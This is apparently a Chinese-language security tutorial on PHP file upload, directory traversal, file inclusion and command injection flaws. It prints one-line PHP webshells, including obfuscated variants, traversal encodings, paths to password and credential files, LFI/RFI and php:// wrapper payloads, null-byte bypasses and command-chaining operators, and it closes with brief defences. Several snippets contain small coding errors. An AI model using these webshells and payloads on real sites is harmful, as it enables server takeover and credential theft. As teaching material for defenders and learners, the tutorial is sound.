文件包含上传漏洞目录遍历命令执行漏洞
字数 2615
更新时间 2025-08-15 21:31:50

文件上传、目录遍历与命令执行漏洞详解

一、文件上传漏洞

1. 一句话木马基本结构

一句话木马主要由两部分组成:

  • 执行函数
  • 接收被执行代码的变量

常见执行函数及利用方式:

  1. eval()

    <?php @eval($_POST['shell']);?>
    

    利用方式:上传后访问webshell.php?shell=phpinfo()

  2. assert()

    <?php @assert($_POST['shell']);?>
    

    利用方式与eval()类似

  3. create_function()

    <?php $func = create_function('',$_POST['shell']);$func();?>
    

    利用:shell=phpinfo()

  4. array_map()

    <?php 
    $func = $_REQUEST['func'];
    $way = $_REQUEST['way'];
    $array[0] = $way;
    $new_array = array_map($func,$way);
    ?>
    

    利用:?func=system()&way=whoami

  5. call_user_func() / call_user_func_array()

    <?php call_user_func(assert,$_GET['cmd']);?>
    
    <?php
    $array[0] = $_POST['shell'];
    call_user_func_array(eval,$array);
    ?>
    
  6. array_filter()

    <?php
    $cmd = $_POST['cmd'];
    $array[0] = $cmd;
    array_filter($array,assert)
    ?>
    

2. 文件操作函数

  1. file_put_contents()

    <?php 
    $test = "<?php @eval($_GET['shell']);?>";
    file_put_contents('test1.php',$text);
    ?>
    
  2. fputs()

    <?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['shell']');?>
    

3. 动态函数

<?php $_GET['a']($_GET['b'])?>

利用:?a=eval&b=phpinfo()

4. 隐藏函数技术

  1. base64_decode()

    <?php 
    $a=base64_decode("YXNzZXJ0"); 
    @a($_POST['shell']); 
    ?>
    
  2. parse_str()

    <?php
    $str="a=eval";
    parse_str($str);
    $a($_POST['shell']);
    ?>
    

二、目录遍历漏洞

1. 常见攻击方式

  1. Unix系统

    • 使用../进行目录回溯
  2. Windows系统

    • 使用../..\进行目录回溯
  3. URI编码形式

    • %2e%2e%2f../
    • %2e%2e/../
    • ..%2f../
    • %2e%2e%5c..\

2. 敏感文件路径

Windows系统:

  • c:\boot.ini - 查看系统版本
  • c:\windows\system32\inetsrv\MetaBase.xml - IIS配置文件
  • c:\windows\repair\sam - 存储Windows系统初次安装的密码
  • c:\ProgramFiles\mysql\my.ini - MySQL配置
  • c:\ProgramFiles\mysql\data\mysql\user.MYD - MySQL root密码
  • c:\windows\php.ini - php配置信息

Linux/Unix系统:

  • /etc/passwd - 账户信息
  • /etc/shadow - 账户密码文件
  • /usr/local/app/apache2/conf/httpd.conf - Apache2默认配置文件
  • /usr/local/app/php5/lib/php.ini - PHP相关配置
  • /etc/my.conf - mysql配置文件

三、文件包含漏洞

1. PHP文件包含函数

  • include() - 找不到文件时警告,继续执行
  • include_once()
  • require() - 找不到文件时致命错误,停止执行
  • require_once()
  • file_get_contents() - 把整个文件读入一个字符串

2. 本地文件包含(LFI)

示例代码:

<?php $filename = $_GET['filename']; include($filename);?>

利用方式:?page=../../dvwa/info.php

3. 防御绕过技术

  1. %00截断

    • 要求:
      • magic_quotes_gpc = Off
      • PHP版本<5.3.4
    • 利用:page=info.php%00
  2. 0x00截断

    • 要求与%00相同
    • 方法:
      1. 在文件末尾加标志:info.php a
      2. 用burp抓包,将空格(0x20)改为0x00
  3. 路径长度截断

    • Windows:目录最大长度256字节
    • Linux:目录最大长度4096字节
    • 利用:?page=info.php.(添加足够多的点)

4. 远程文件包含(RFI)

  • 要求:
    • allow_url_fopen = On
    • allow_url_include = On
  • 利用:?page=http://172.16.12.128/phpinfo.php

5. PHP伪协议利用

  1. file://

    • 无需特殊配置
    • 格式:file://文件的绝对路径
    • 示例:?page=file://D:/www/dvwa/dvwa/info.php
  2. php://filter

    • 用于读取源码
    • 格式:php://filter/read=convert.base64-encode/resource=文件路径
    • 示例:?page=php://filter/read=convert.base64-encode/resource=D:/www/dvwa/dvwa/info.php
  3. php://input

    • 要求:allow_url_include=on
    • 将POST数据作为PHP代码执行
    • 示例:
      POST /vulnerabilities/fi/?page=php://input
      <?php phpinfo();?>
      
  4. data://

    • 要求:allow_url_fopen=onallow_url_include=on
    • 用法1:?page=data:text/plain,<?php phpinfo(); ?>
    • 用法2:?page=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
  5. zip://

    • 无需特殊配置
    • 格式:zip://archive.zip#dir/file.txt
    • 注意:#要用%23代替
    • 示例:?page=zip://D:\www\dvwa\dvwa\test.jpg%23info.php
  6. phar://

    • 类似zip://
    • 示例:?page=phar://D:\www\dvwa\dvwa\php.zip\info.php

四、命令执行漏洞

1. 系统命令执行函数

  1. system()

    system("whoami");
    
  2. passthru()

    passthru("whoami");
    
  3. exec()

    exec("whoami", $output);
    
  4. pcntl_exec()

    pcntl_exec("/user/bash", array("whoami"));
    
  5. shell_exec()

    shell_exec("whoami");
    
  6. popen()

    $handle = popen("/bin/ls", "r");
    
  7. proc_open()

    $process = proc_open("whoami", array(), $pipes);
    
  8. 反单引号

    echo `whoami`;
    

2. 命令拼接符

  • & - 无论如何都执行
  • && - 前一个成功才执行后一个
  • ; - 顺序执行
  • | - 将前一个命令的输出作为后一个命令的输入

五、防御措施

1. 文件上传防御

  • 检查Content-Type
  • 检查文件头
  • 重命名上传文件
  • 限制上传目录不可执行
  • 检查文件扩展名

2. 目录遍历防御

  • 禁止用户输入中包含../
  • 使用basename()函数获取文件名
  • 设置open_basedir限制访问目录

3. 文件包含防御

  • 禁用allow_url_include
  • 对包含文件进行白名单验证
  • 使用绝对路径而非相对路径

4. 命令执行防御

  • 禁用危险函数
  • 对用户输入进行严格过滤
  • 使用escapeshellarg()或escapeshellcmd()处理参数
相似文章
相似文章
 全屏